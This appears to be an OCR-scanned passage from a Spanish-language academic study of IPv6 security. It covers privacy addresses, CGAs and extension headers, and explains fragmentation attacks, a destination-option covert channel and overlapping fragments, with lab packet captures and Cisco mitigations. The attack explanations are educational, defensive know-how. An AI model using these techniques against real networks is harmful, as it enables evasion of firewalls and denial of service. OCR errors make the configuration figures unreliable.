que dificultar la tarea de distinguir las direcciones empleadas en estos
ataques.

e Como resultado, algunas organizaciones deshabilitaron el uso de las
direcciones de privacidad aunque con ello redujeron llamativamente, su
propia privacidad. En este escenario, los host se encuentran configurados
con las direcciones generadas a partir del algoritmo original.

Incluso en el mismo RFC 4941 se advierte estda problematica y se
recomienda:

o Los dispositivos que implementen esta especificacion, deben dar la
posibilidad explicita a los usuarios finales que puedan habilitar o
deshabilitar el uso de estas direcciones temporarias.

o Ademads, un sitio deberia poder deshabilitar el uso de estas
direcciones temporales con el propdsito de simplificar la operacidny
debugging'® de las actividades de la red. Las implementaciones
deberian brindar una forma a los administradores de sistemas para
habilitar o no, el uso de estas direcciones temporales.

o Los sitios deben dar la posibilidad de seleccionar habilitar o
deshabilitar el uso de las direcciones temporarias para ciertos

prefijos.

'® Debbuging: Depuracion
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3.1.2 Extensiones de privacidad en Sistemas operativos Windows

Por defecto Windows Vista, Windows 7 y Windows 2008, no utilizan el
formato EUI-64 para la generacion de las direcciones IPv6, sino que se basan en un
algoritmo que las genera en forma aleatoria. Ademas, siguiendo los lineamientos
del RFC 4941, genera direcciones IPv6 temporales para conexiones salientes. Ambas

caracteristicas se observan en la Fig. 12:

Adaptador de Ethernet Conexidn de area local:

Sufijo DNE especifico para la conexidn. . : localdomain

scripcidn : Conexidn de red Intel<R> PRO-1888 MHT
|Direccion fisdca. . - - =« - = = & « - . . : BAA—BAC—29-26-12-1E |

HCFP hahllltadu s s = = o= o= = = = = = = . = 81
Direccion IPvb - e e o= o= - = FcBB:12::9578:d3dB:albc:fbcd4{Preferidol
Direccion IPub tempural . .. = feBPB:12::9842:a613 elbd:cPil{Preferido)

feBi: 9575 d3d8:albc:fbc4x11(Preferido)
- . 172166127156 Freterido s

: 255.255.255.8

: jueves, B7 de marzo de 2013 28:33:41

: jueves, B7 de marzo de 2013 21:83:48

: fe8@::cBA7:2aff :fehd:ildx1l

- 192.168.127.254

Uinculo: direccién IPub local.
Diveccion IFvd. . . . . . . .
Miscara de subred . . . . . .
Concesion obtenida. . . . . .
La concesidn expira . . .
Puerta de enlace predetermlnada .
Servidor DHCP . . . . . . . . .
Servidores DNS. . . e e e e - : 192 168.127.1
NetBIOS sobre TCP/IP. e e e e : habilitado

Fig. 12 - Direcciones IPv6 Windows

Es posible deshabilitar esta generacion aleatoria y forzar al sistema a que
utilice el formato EUI-64. Esto se consigue con la ejecucion de los siguientes
comandos, mostrados en la Fig. 13. En la Fig. 14, se puede apreciar las direcciones

IPv6 empleando el formato EUI-64.

C:~rnetsh interface ipuvb set global randomizeidentifiers=diszabhled store=active
Aceptar

C:x>netsh interface ipuvb set global randomizeidentifiers=disabled store=persistent
Aceptar

Fig. 13- Deshabilitar generacion aleatoria de IDs

Adaptador de Ethernet Conexidn de Area local:

Sufijo DMS especifico para la conexidn. . : localdomain
incid H id tel(R>» PRO-1888 MT
r_ ireccion fisica. . . . - . 2 2 2 = . . - = AB-BAC-29-26—12-1E
HLCE hahllltadn . == == = = = * 81

Conf igurac ign automitica habilitada .

B referido

fcﬂﬂ 12::531 ahbe: 6335 LY7cd(Preferido)

fedf: ZEc 29ff:fedb=12iexil(Preferidod
. 192.168.127.138(Preferido)

: 255.255.255.8

i jueves,. B7 de marzo de 2813 28:40:17

: Jueves, B?7 de marzo de 2013 21:18:17

: feBB::cBA?:2aff:febd:-1dx11

- 192.168.127.254

1recclon 1]
Direccidn IPub tempnral .
Uincule: direccién IPub local.
Direccion IPuvd. . . . . . - .
Miscara de subred . . . . .
Concesidn obtenida. . . . -
La concesidn expira . . -
Puerta de enlace predetermlnada .

Servidor DHCP . . . . . .
Servidores DNE. . - : 192.168.127.1
HetBIOS sohre TCP/IP. - : habhilitado

Fig. 14 - Configuracion de IPv6 Windows con dlreccmnes temporales y habilitado el formato EUI-64.

Por otro lado es posible también deshabilitar la generacién de direcciones

temporales como se muestra en las Fig. 15y Fig. 16.
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C:~>netzh interface ipuvb set privacy state=disabled store=active
Aceptar

C:x>*netsh interface ipvbe set privacy state=diszabled store=persistent
Aceptar

Fig. 15 - Deshabilitar direcciones temporales Windows

Adaptador de Ethernet Conexidn de &rea local:

Sufijo DNS especifico para la conexidn. : localdomain
Descrlpc1un e e e e e e e e e e e e
Direccidn Fisica.
DHCP hahllltado .

: : Conexidn de red Intel{R> PRO-1888 MT
- e s e s e e - . . BB-BC-29-26-12-1E

Diveccion .
Miscara de suhred - e - -
Concesidn nhtenlda. -
La concesidn expira . .
Puerta de enlace predetermlnada
Servidor DHCP . . . . . . . . . : 192.168.127.254
Servidores DNS. . . . . . . . . . : 1%2.168.127.1
NetBIOS sobre TCP/IFP. . . . . . . . . . . : habilitado

Fig. 16 - Configuracion de IPv6 en Windows sin direcciones temporales

.t 255.255.255.3

. = jueves, A7 de marzo de 2813 2B0:-44:42
. & Jueves, B7 de marzo de 2813 21:29:42
. feB@::cBA?:2aff:febcd4:1dx11

3.1.3 Propuesta de mejoras para las direcciones de privacidad

Gont, propuso un método [14] que se encuentra en proceso de
estandarizacion y persigue los siguientes objetivos:

e ElIID permanece constante y estable para cada prefijo usado con el método
de SLAAC dentro de cada subred. El algoritmo genera el mismo identificador
de interfaz cuando se configura una direccion perteneciente al mismo prefijo
dentro de la misma subred.

e ElIID no depende del hardware subyacente (ejemplo de la direccion MAC)

e ElIID cambia cuando la direccion es configurada para diferentes prefijos.

e Presenta mayor dificultad para un atacante externo predecir el identificador
de interface, incluso conociendo el identificador de interface configurado
para otra direccion.

El computo del identificador de interface se lo obtiene como muestra la

Fig. 17:
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0 63
Prefijo de Red | indice_Interface ‘ ‘ Identificador_Red ‘ Clave_secreta ‘ Contador_Dupliados
v l )
| Funcién Hash |
0 63| 64 127
‘ Identificador aleatorio | Bits no usados
Direccién IPv6|Resultante
0 63 64 127
Prefijo de Red ‘ Identificador de Interface |

N

Bit 6=0 indica ambito local

Fig. 17 - Calculo de IID propuesto por Gont

El 1ID es obtenido tomando los 64 bits de mas a la izquierda del
Identificador aleatorio computado, y se setea en 0 el bit 6 (se numera como 0 al bit
de mas a la izquierda). Esto crea una IID con el bit universal/local teniendo solo

significado local.

3.2 Cryptographically Generated Addresses 1°(CGAs)

Proveen un método que permite probar que quien envid efectivamente el
paquete es el que tiene como IID el que figura en su direccién IPv6.

El objetivo es elegir un par de claves publicas y privadas adecuado para la
creacion de una firma digital, que sea generada con la clave privada y luego pueda
ser verificada a través del uso de la clave publica. Luego, la clave publica (junto con
otros parametros) es usada para generar el IID, esta clave publica es insertada
dentro del paquete y dicho paquete es firmado digitalmente con la clave privada.
Este proceso se ilustra en la Fig. 18 [15].

Una vez que es recibido el paquete, la clave publica puede ser usada para
chequear tanto la direccién IPv6 (IID) como la firma. Un atacante sin la clave privada

no puede firmar un paquete falsificado.

1% Cryptographically Generated Addresses: Direcciones Generadas Criptograficamente
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S
‘N ) Prefijo de Subred
‘ \ Llave Publica — SHA-1
Nonce
it Parametros
\ CGA }
Mensajes Enviados [ Prefijode Subred | Identificador de Interface |

Fig. 18 — Direcciones generadas criptograficamente

Cuatro procesos son necesarios para realizar este trabajo.

El host que envia el paquete debe:

1- Generar un par de claves y la correspondiente direccion IPv6.

2- Insertar la clave publica en el paquete y firmarlo con la clave privada.

El host que recibe el paquete debe:

3- Chequear que la direccién origen coincida haciendo el cdlculo

empleando la clave publica.

4- Verificar la firma con la clave publica.

Es conveniente destacar que la utilizacion de CGA no prueba la identidad
de una entidad, pero permite demostrar que una misma entidad (la que posee la
clave privada) generd dichos paquetes y que no podran ser modificados por un
intruso. Lo fundamental del mecanismo es que ninguna entidad sin una clave
privada puede utilizar legitimamente CGA [13].

Debido a que los CGAs relacionan una clave publica con una direccién IPv6,
incluso cuando un host cambia de red, pueden ser Univocamente identificados a
través del uso de esa llave publica. Los CGAs y el metétodo prupuesto por Gont
usan un algoritmo de hash para generar un identifiacador valido, pero la gran
diferencia es que este mecanismo se caracteriza por el empleo de llaves publicas.

Las caracteristicas que ofrece CGA pueden ser usadas para mejorar la
seguridad de alguna manera en la redes IPv6, pero en ciertos casos no presentan

una ventaja importante y cuentan con un overhead® superior que IPSec (Internet

20 . o . .z . e . .
Overhead: Desperdicio de ancho de banda, causado por la informacidon adicional que debe viajar
ademas de los datos en los paquetes de un medio de comunicacion.
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Protocol Security)?! o protocolos de seguridad de capas superiores. En particular
son importantes en casos donde se involucra la propiedad de una nueva direccién
generada.

Las CGAs fueron estandarizdas como el bloque de seguridad central para el
protocolo IPv6 Secure Neighbor Discovery®? (SEND) [16](sera ampliado en la seccion
5.2.4.1) y fue propuesto para el uso dentro del protocolo Site Multihoming *’para

IPV6 (SHIM6). [15]

*! Internet Protocol Security: Seguridad del Protocolo de Internet
?2 secure Neighbor Discovery: Protocolo Seguro de Descubrimiento de Vecinos
2* Site Multihoming: Sitio que se conecta a Internet mediante dos o mas proveedores de servicio.
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4 CABECERAS DE EXTENSION

IPv6 usa las cabeceras de extension [17] para indicar a la capa de
transporte informacién sobre el paquete (TCP o UDP) o extender la funcionalidad
del protocolo. Son identificadas con el campo Préxima cabecera dentro de la
cabecera IPv6.

La Fig. 19 muestra la estructura de un paquete IPv6 y describe el modo en

qgue forman una cadena de cabeceras antes del PDU de la capa de transporte.

Cabecera Cabecera Cabecera Datos
Capa 2 IPv6 7 TCP
/]
Préxima Préxima
Cabecera= Cabecera=
6TCP 59 Null
Cabecera Cabecera Cabecera Cabecera Datos
Capa 2 IPv6 Enrutamient};} TCP
Préxima Préxima Préxima
Cabecera= Cabecera= Cabecera=
43 Routing 6 TCP 59 Null
Cabecera | Cabecera A Cabecera Cabecera Datos
1Pv6 /'iinrutamiento Fragmentacic’m/] TCP
Préxima Préxima Préxima Préxima
D TS Cabecera= Cabecera=
43 Routing 44 Fragm. 6TCP =50l

Fig. 19 - Estructura de un paquete IPv6 - Encabezados de extension

Las cabeceras de extension tienen un orden especifico y deben ser
procesadas en el orden en el que aparece en el paquete. El orden es el siguiente
1 Cabecera IPv6
Cabecera Opciones Salto a Salto
Cabecera Opciones del Destino

Cabecera de Enrutamiento

2
3
4
5 Cabecera de Fragmentacion
6 Cabecera de Autenticacidn
7 Cabecera de Encapsulado de seguridad de la carga util
8 Cabecera Opciones del Destino
9 Cabecera capa superior
Cada cabecera de extension tiene un uUnico valor que es usado en el campo
Proxima Cabecera identificando cudl es la siguiente cabecera a ser procesada. A
continuacioén se realizara una breve descripcidn de las cabeceras de fragmentacién y

la cabecera de opciones del destino, por el hecho de que presentan gran cantidad

de vulnerabilidades que pueden ser explotadas.
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4.1 Cabecera de Opciones del destino

El valor del campo préxima cabecera de la cabecera precedente es 60. Esta
cabecera es usada para llevar informacion opcional que debe ser examinada solo
por el nodo destino del paquete y no por los nodos intermedios. Estas opciones son
codificadas en el formato type-length-value®*. Un nodo que recibe un paquete con
su direccién IPv6, examina el campo Proxima cabecera y encuentra la presencia de
una cabecera de Opciones del Destino, las procesa antes de enviarlas hacia el

protocolo de capa superior.

4.2 Cabecera de Fragmentacion

La fragmentacion es el proceso de dividir un paquete IP en paquetes de
menor tamafno con el propodsito de poder ser transportado a través de redes que
tienen diferentes tamafios de MTU.

En IPv6, el bit Don’t Fragment *(DF) fue removido totalmente de la
cabecera IPv6, mientras que el bits More Fragment 2°(MF) fue desplazado hacia la
cabecera de extension de Fragmentacion. A diferencia de su antecesor, en el nuevo
protocolo, el proceso de fragmentacion solo puede ser llevado a cabo en los nodos
finales y no en los intermedios.

Ademas, en la especificacion del protocolo se exige un tamafio de MTU
minimo para cada subred de 1280 bytes, si hay un enlace que no puede transmitir
un tamafio paquete de ese tamaiio, la fragmentacidn y reensamblado debe darse
en una capa por debajo de IP.

Cada paquete tiene asignado un identificador Unico (ID de Fragmento) para
distinguirlo de otros fragmentos. Ademas tiene un valor de offset ’con el nimero
de bytes que el payload®®se desplaza respecto del paquete original. El host que
recibe un paquete fragmentado, lo reensambla colocando todos los fragmentos en

orden y pasa el paquete completo IP hacia la capa superior. [18]

2 Type-length-value: Un método de organizar datos que involucre un Cadigo de Tipo (16 bit), una
longitud especificada de un valor de campo (16 bit) y el dato en el campo Valor.

> Don’t Fragment: No fragmentar

*® More Fragment: Mas Fragmentos

*7 Offset: Desplazamiento

?® payload: informacion util
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4.2.1 Proceso de Fragmentacion

La Fig. 20 [18] ilustra como un paquete de gran tamafio necesita ser
fragmentado en dos paquetes. El paquete original se compone de una parte no-
fragmentable que contiene la cabecera IPv6 original. La parte fragmentable del
paquete contiene las otras cabeceras de extension y el payload de la capa superior.
La parte fragmentable es dividida en multiples paquetes, cada uno tiene su parte no

fragmentable y la cabecera de fragmentacion.

Parte No- Parte
fragmentable Fragmentable
,_X_ A
\
Cabecera Cabecera Cabecera Carga Util Trailer
Capa Enlace IPv6 Transporte Capa Enlace
\ A )
Fragmento 1 Fragmento 2
Cabecera Cabecera Cabecera Cabecera Carga Util c Traélelr
Capa Enlace IPve Fragmentac. | Transporte apa tnlace
Parte'No- Fragmento 1
fragmentable
Cabecera Cabecera Cabecera Carga Util c Traélelr
Capa Enlace IPv6 Fragmentac. apa tnlace
Parte No- Fragmento 2

fragmentable

Fig. 20 - Fragmentacion en IPv6

Los sistemas finales primero deben descubrir cual es el tamafio correcto
del paquete que puede enviar a su destino y si es necesario llevar adelante la
fragmentacion. Este proceso se llama Path MTU Discovery?® (PMTUD) y es una
caracteristica brindada por ICMPv6 a IP (ya existia una versién para IPv4 [19]).

PMTUD para IPv6 [20], define el uso del mensaje ICMPv6 type 2 *°error
(ICMPv6 Packet Too Big®'), que es enviado hacia el nodo origen desde un router
intermedio que tiene una interface con un MTU mas pequefio. El router envia este
mensaje de error con el tamafio de paquete recomendado. Solamente una cabecera
de fragmentacion serd creada por el nodo origen.

Uno de los principales problemas que existen en el proceso de

fragmentacion es que la informacién de la capa superior no estd contenida en el

%% path MTU Discovery: Descubrimiento del MTU del camino
3% |CMPV6 type 2: ICMPV6 tipo 2
*" ICMPv6 Packet Too Big: ICMPv6 paquete demasiado grande.
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primer fragmento. El fragmento que contiene la cabecera TCP o UDP es requerido
por un firewall para determinar si un paquete es aceptable. El proceso de realizar el

reensamblado y el andlisis de los paquetes requiere enorme cantidad de recursos.

4.3 Vulnerabilidades de las cabeceras de extension

A continuacién de describen algunas vulnerabilidades de las cabeceras de

extension.

4.3.1 Fragmentos atomicos

Segun la especificaciéon del protocolo IPv6 [17] , cuando un host recibe un
paquete ICMPv6 Packet Too Big, que advierte que el Next Hop MTU?*? es menor que
1280 bytes no se requiere que reduzca el tamafio del paquete sino que incluya la
cabecera de extension de Fragmentacién con los campos Offset=0 y MF=0, aunque
si se reduce el tamano del payload a 1232 bytes (1280 menos 40 de la cabecera IPv6
y 8 de la cabecera de Fragmentacion) o incluso menos si cuenta con otras cabeceras
de extension.

Esto es debido a que implementaciones de traductores IPv6/IPv4 emplean
el campo de Identificacién de Fragmentos de la cabecera de Fragmentacion de IPv6

para seleccionar el propio identificador para la fragmentacién en IPv4. [21]

4.3.1.1 Ataques empleando fragmentos atomicos

Un atacante envia hacia la victima un paquete ICMPv6 Packet Too Big.
Dentro del paquete IPv6 que se encuentra embebido en el paquete ICMv6, coloca la
direcciéon IPv6 del nodo con el cual la victima queria establecer comunicacién. Esto
genera que todos los nuevos paquetes enviados por la victima sean atdomicos. El
ataque se hace efectivo si el usuario malicioso puede predecir el algoritmo de
generacion de IDs de los fragmentos [22] y enviar un conjunto de paquetes con
estos IDs duplicados. Si en el nodo destino se descartan fragmentos con IDs
repetidos, el nodo victima nunca podra comunicarse con el otro nodo.

Mitigacidn: Un host que recibe un paquete con Fragment Offset=0 y MF=0,

debe procesar el paquete en forma aislada, incluso si el fragmento contiene el

3> Next Hop MTU: MTU del préximo salto
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mismo conjunto de: [Direccién IPv6 Origen, Direccion IPv6 destino, Identificacion de

Fragmento].

4.3.2 Excesivo numero de cabeceras de extension.

Debido a que en las especificaciones del protocolo [17] no existen
restricciones acerca del uso de las cabeceras de extensidn, esto puede causar
problemas si son empleadas con fines maliciosos.

Un usuario podria crear un paquete IPv6 que cumpla con todas las
especificaciones del protocolo y encadenar un nimero ilimitado de encabezados de
extension. [23]

Debido al gran niumero de cabeceras de extensidn, estas no pueden estar
contenidas en el primer fragmento, situacién que dificulta la tareas de los firewalls
gue basan su politica de filtrado en la informacidn que se encuentra justamente en
este primer fragmento.

Mitigacidon: Gont [23] propone actualizar la especificacion del protocolo
IPv6 [17] de la siguiente manera:

Si un paquete IPv6 es fragmentado, el primer fragmento (con valor de
offset 0) debe tener toda la cadena de encabezados.

Si un host o nodo intermedio recibe el primer fragmento de un paquete sin

toda la cabecera debe descartar el paquete.

4.3.3 Fragmentos pequeiios

Debido a que IPv6 [17] define el requerimiento de que todos los enlaces
deben tener un MTU mayor a 1280 bytes, si se generan paquetes de menor
tamano, deben ser considerados peligrosos. No existen razones para tener
fragmentos menores a dicho tamafo, a menos que sean el ultimo fragmento y el bit
MF sea igual a 0.

Estos paquetes tienen el paso libre por los firewalls, porque sélo se analiza
la informacidn en la parte no fragmentable y los atacantes pueden usarlos en forma
maliciosa. Para mantener la seguridad los firewalls deberian descartar todos los

fragmentos que estan debajo de cierto tamano.
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4.3.4 Creacion de Covert Channel33

A través de la introduccion de las cabeceras de extensidon en IPv6, ademas
de otorgar flexibilidad y funcionalidad, abre nuevas puertas hacia la creacién de
canales ocultos. En especial la cabecera de extensidn de Opciones del destino,
puede transferir en forma exitosa datos arbitrarios y son aceptados por diversos
sistemas operativos [24]. Un aspecto importante a tener en cuenta es que los datos
que pueden ser enviados pueden ser 256 bytes por cabecera de extension (el
campo Option Data Length **es de 8 bit).

El cddigo del programa ejecutado se encuentra en el Anexo. En la Fig. 21 se
muestra el intercambio de paquetes ICMPv6 echo reply* y echo request

36utilizando esta técnica.

Source Destination Length Protocol  Info

fc00:12::20c:29ff :fed3:6edd :20c:20ff:fee3:7508 342 1PV6 IPv6 fragment (nxt=IPv6 destination option (0x3c) off=0 1d=0x0) [Malformed Packet]
fcl C:20ff:fed3:6edd fe80 20ff:fee3:7508 342 1IPVO IpPve fragment (nxt=IPvE destination option (0x3c) off=280 id=0x0)
fc00:12::20c:29ff :fed3:6edd fe80::20c:29ff:fee3:7508 350 IcMpve  Echo (ping) request id=0x0000, seq=0

feB0::20c:29ff :fee3:7508 fco0:12::20c:29ff:fed3:6edd 62 TeMpve  Echo (ping) reply 1d=0x0000, seq=0

Fig. 21 - Covert Channel IPv6 Flujo de Paquetes

Frame 3: 350 bytes on wire (2800 bits), 350 bytes captured (2800 bits)
Ethernet II, src: vmware_d3:6e:dd (00:0c:29:d3:6e:dd), Dst: vmware_e3:75:08 (00:0c:29:e3:75
= Internet Protocol version 6, src: fc00:12::20c:29ff:fed3:6edd (fc00:12::20c:20ff:Fed3:6edd)
0110 .... = Vversion: 6
cee. 000D D000 wiih vivh diee e e = Traffic class: 0x00000000
............ 0000 0000 0000 0000 0000 = Flowlabel: 0x00000000
Payload Tlength: 296
Next header: IPv6 fragment (Ox2c)
Hop limit: &4
Source: fc00:12::20c:29ff:fed3:6edd (fc00:12::20c:29ff:fed3:6edd)

0000 00 Oc 29 e3 75 08 00 Oc 29 d3 6e dd 86 dd &0 00 R RTINS T P
0010 00 00 01 28 2c 40 fc 00 00 12 00 00 00 00 02 Oc fen

0020 29 ff fe d3 6e dd fe 80 00 00 00 00 00 00 02 Oc D £ TR
0030 29 ff fe e3 75 08 3c 00 02 30 00 00 00 OO0 3a 22 ut Ll 0 —
0040 01 78 41 41 41 41 41 41 41 41 41 41 41 41 41 41 L XAAAAAA AAAAAAAR
0050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAMAAN AAAAANAN
0060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAMAAN AAAMANAN
0070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAMAAN AAAMANAN
0080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAMAAN AAAAANAN
0090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAMAAN AAAAANAN
00a0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAMAAN AAAAAAAN
00b0 41 41 41 41 41 41 41 41 41 41 01 96 42 42 42 42 AAAAMAAN MM BEBB
00cO 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 EEBBBEEE EBBEBBEE
00d0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 EEBBBEEE EBBEBBEE
0020 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 EEBBBEEE BBBBBBEB
00T0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 EEBBBEEE BBBBBBEB
0100 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 EEBBBEEE BBBBBBBB
0110 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 EEBBBEEE BBBBBBBB
0120 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 EEBBBEEE BBBEBBEB
0130 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 EEBBBEEE BBBEBBEB
0140 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 EEBEEEEE BEEBBEBEBEB

Fig. 22 - Covert Channel IPv6 Datos enviados

En la Fig. 22, se puede apreciar los datos enviados dentro del paquete en

este caso son cantidades arbitrarias de letras Ay B (ver Anexo).

** Covert Channel: Canal oculto

** Option Data Length: Longitud de la Opcién de datos

*> |CMPv6 echo reply: paquetes ICMPv6 de respuesta de eco.
*® |CMPv6 Echo request: paquetes ICMPv6 de solicitud de eco
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4.3.5 Otros ataques empleando Fragmentacion

El ataque tipico de DoS es contra la memoria del sistema que implementa
IPv6. Para cada nuevo fragmento, el sistema reserva algunas estructuras de
memoria para el manejo de reensamblado, si un atacante envia una gran cantidad
de fragmentos (pretendiendo ser de diferentes paquetes), el sistema puede agotar
su memoria y otros fragmentos pueden ser rechazados.

A pesar de que se exige descartar los paquetes que usen la técnica de
ataque denominada Overlapping ' [25], que se emplea para sobrescribir los
numeros de puertos en los encabezados TCP, en algunos sistemas operativos como
Ubuntu 10.04 y OPEN BSD son susceptibles a este ataque [26], como se demuestra

a continuacion. El cédigo del programa ejecutado se encuentra en el Anexo.

Source Destination Length Protocol Info
fc00:12::20c:29ff:fed3:6edd fc00:12::20c:29ff:fee3:7508 862 IPVE IPve fragment (nxt=ICMPv6 (0x3a) off=0 1d=0x754b94d0)

fc00:12::20c:29ff:fed3:0edd fc00:12::20c:29ff:fee3:7508 862 ICMPve Echo (ping) reguest 1d=0x0000, seq=0
fc00:12::20c:29ff:fee3:7508 fc00:12::20c:29ff:fed3:0edd 894 ICMPve Echo (ping) reply id=0x0000, seq=0

Fig. 23 - Overlapping |

@ Frame 2: 862 bytes on wire (6896 bits), 862 bytes captured (6896 bits)

® Ethernet II, src: vmware_d3:6e:dd (00:0c:29:d3:6e:dd), Dst: vmware_e3:75:08 (00:0c:29:e3:75
= Internet Protocol version 6, Src: fc00:12::20c:29Ff:fed3:6edd (fc00:12::20c:29ff:Fed3:6edd)
@ 0110 .... = version: 6
Eovwe. 0000 0000 oot vher wven wien vean = Traffic class: 0x00000000
vees wews .... DOOO QOO0 Q00O D0OOD Q000 = Flowlabel: Ox00000000
payload length: 808
Next header: IPve fragment (0Ox2c)
Hop Timit: 64
source: fc00:12::20c:29ff:fed3:6edd (fc00:12::20c:29ff:fed3:6edd)
[Source sa MAC: vmware_d3:6e:dd (00:0c:29:d3:6e:dd)]
Destination: fc00:12::20c:29ff:fee3:7508 (fc00:12::20c:29ff:feel:7508)
[Destination SA MAC: Vmware_e3:75:08 (00:0c:29:23:75:08)]
= Fragmentation Header
NexT header: ICMPVE (0x3a)
0000 0000 0010 1... = offset: 5 (0x0005)
............... 0 = More Fragment: NoO
Idenrificarion: Ow7sdbaddo
- [2 IPvE Fragments (840 bytes): #1(800), #2(800)]
[Erame: 1, payload: 0-799 (800 bytes)]
= [Frame: 2, payload: 40-839 (800 bytes)]
[Fragment overlap: True]
[conflicting data in fragment overlap: True]
[Fragment count: 2]
Beassembled IPv6 Jlength: 8407
E Internet Control Message Protocol vé
Type: Echo (ping) request (128)
Code: 0
Checksum: Oxce2é [correct]
Identifier: Ox0000
sequence: 0

Response In: 3

Fig. 24 - Overlapping Il
En la Fig. 23, se muestra como el paquete ICMPv6 echo request
fragmentado (con overlapping) y se recibe una respuesta echo request por parte de
un host corriendo Ubuntu 10.04. En la Fig. 24, se muestra en forma detallada los
campos del paquete enviado, donde se puede observar esta caracteristica de

overlapaping.

*” Overlapping: Superposicidn
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4.3.6 Medidas a tomar

Generar reglas de Firewalls que descarten paquetes menores a 1280 bytes
que no sean el ultimo fragmento.

La empresa Cisco cuenta con la implementacién de la funcion VRF (Virtual
Fragmentation Reassembly ** ) [27]. Esta funcionalidad reensambla
fragmentos de paquetes, examina fragmentos fuera de secuencia y los
ordena. VRF examina los fragmentos de una sola fuente y pasa el paquete
final a la capa superior de la pila, si existen problemas con los fragmentos, el
paquete es descartado. Se debe tener en cuenta la baja de performance que
significa contar con esta funcionalidad. En las Fig. 25 se muestra las opciones
de configuracion en un Router Cisco 2811 y en la Fig. 26 se muestra

estadisticas tomadas de un puerto.

Ipve¥show ipve virtual-reassembly
A1l enabled IFvé interfaces...

Ipve¥configure terminal

Enter configuration commands, one per line. End with CNTL/Z.
Ipve (config) #interface fastEthernet 0/0

Ipvé (config-if)#ipvé virtual-rea

Ipve (config-if)#ipvé virtual-reassembly ?

drop-fragments IPve Drop all the incoming fragments

max-fragments IPvEe Specify max number of fragments per reassembly
(datagram)

max-reassemblies Ipve Specify max number of concurrent reassemblies

timeout IPv6e Specify timeout wvalue of the datagram being
reassenbled

<cr>

Fig. 25- Virtual-reassembly |

Ipve#show ipvé virtual-reassembly

A1l enabled IPvé interfaces...

$Interface FastEthernet0/0
IPve configured concurrent reassemblies [(max-reassemblies): &4
IPve configured fragments per reassembly (max-fragments): 16
IPve configured reassembly timeout (timeout): 3 seconds
IPve configured drop fragments: COFF

IPvEe current reassembly count:0

IPve current fragment count:0

IPve total reassembly count:0

IPve total reassembly timeout count:0

Fig. 26 - Virtual-reassembly Il
Una posible solucién incluye el filtrado de extensiones de cabeceras o
contar con productos especializados que tengan reglas especificas para el
manejo de los ciertos tipos de cabeceras de extension permitidas. Existen
algunas opciones en los |0S de Cisco IPv6 basadas en la implementacion de

listas de control de acceso, que permiten realizar el filtrado de paquetes en

%% Virtual Fragmentation Reassembly: Reensamblado de fragmentacion virtual
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base a las extensioenes de cabeceras recibidas, como se observa en la Fig.

27.

Ipve (config) #ipve access-list acl
Ipvée (config-ipvé-acl) #deny ipve any any ?

dest-option
dest-option-type
dscp

flow-lakbel
fragments

log

log-input
mobility
mobility-type
routing
routing-type
sequence
time-range
undetermined-transport
<CT>

Destination Cption header (all types)
Destination Cption header with type

Match packets with given dscp wvalue

Flow label

Check non-initial fragments

Log matches against this entry

Log matches against this entry, including input
Mobility header (2all types)

Mobkility header with type

Eouting header (all types)

BEouting header with type

Sequence number for this entry

Specify a time-range

Tran=aport cannot be determined or iz missing

Fig. 27 — Lista de Acceso que bloquea extensiones de cabeceras
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5 INTERNET CONTROL MESSAGE PROTOCOL PARA
IPV6 (ICMPVe6)

La especificaciéon del IPv6 redefine el Protocolo de Control de Mensajes
(ICMP) de IPv4 con nuevas caracteristicas y cambios. El protocolo resultante es
llamado ICMPv6 [28].

ICMPvV6 se encarga de reportar errores si los paquetes no son procesados
correctamente y envia mensajes informacionales acerca del estado de la red. Una
red IPv6 operacional depende de una correcta implementacién y funcionamiento de
ICMPv6.

Otorga funcionalidades familiares como ping y destino inalcanzable..
ICMPv6 proporciona nuevas caracteristicas como Neighbor Discovery **(ND) vy

descubrimiento del path MTU®.

5.1 Reseila ICMPv6

Se definen dos tipos de paquetes: de error e informacional. En la Fig. 28 se

muestra la estructura de un paquete ICMPv6.

Tipo Codigo Checksum

Datos ICMPv6

Fig. 28 - Paquete ICMPv6

Los mensajes de error pueden ser usados por ejemplo, si un host transmite
un paquete de 1500 bytes, pero un salto intermedio tiene un MTU de sélo 1300.
Este nodo envia un paquete ICMPv6 que indica que es demasiado grande (Packet
Too Big- Tipo = 2) hacia el origen con informacidn del problema (se incluye por lo
menos los primeros bytes del paquete causante del error para permitir al origen
identificar el protocolo de capa superior y el proceso que envié el paquete). Los
mensajes informacionales pueden contener informacion de configuraciéon como la

direccién del router local en un mensaje de tipo Router Advertisement *(RA).

%% Neighbor Discovery: Descubrimiento de vecinos.
% path MTU: Méaxima Unidad de Transferencia del enlace.
*! Router Advertisement: Mensaje de anuncio de Router
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5.2 Neighbor Discovery Protocol4? (NDP)

ND [29] es el proceso mediante el cual un nodo IPv6 puede aprender

informacién importante como la direccién de enlace local para las interfaces dentro

del mismo segmento local. ND efectivamente reemplaza la funcionalidad de ARP en

IPv4d. A su vez, se combina con capacidades de redireccionamiento vy

funcionalidades como ICMP Router Discovery.*?

NDP puede ser empleado por todos los nodos, incluyendo host y routers.

Los nodos IPv6 usan ND para los siguientes propésitos:

Para determinar la direccién de capa 2 de los nodos dentro de un mismo
enlace (resolucion de direcciones).

Para autoconfiguracién de direcciones IPv6.

Para determinar los prefijos de red y otra informacién de configuracion.

Para la detecciéon de direcciones duplicadas (DAD - Duplicate Address
Detection®®)

Para encontrar routers vecinos a quien enviar sus paquetes

Para mantener un registro de cuales nodos vecinos son alcanzables y cuales
no (NUD - Neighbor Unreachability Detection®)

Para detectar cambios en las direcciones de capa de enlace.

Se llevan a cabo a través de diferentes procesos dentro del protocolo ND

gue consisten en cinco paquetes de distintos tipos de ICMPv6:

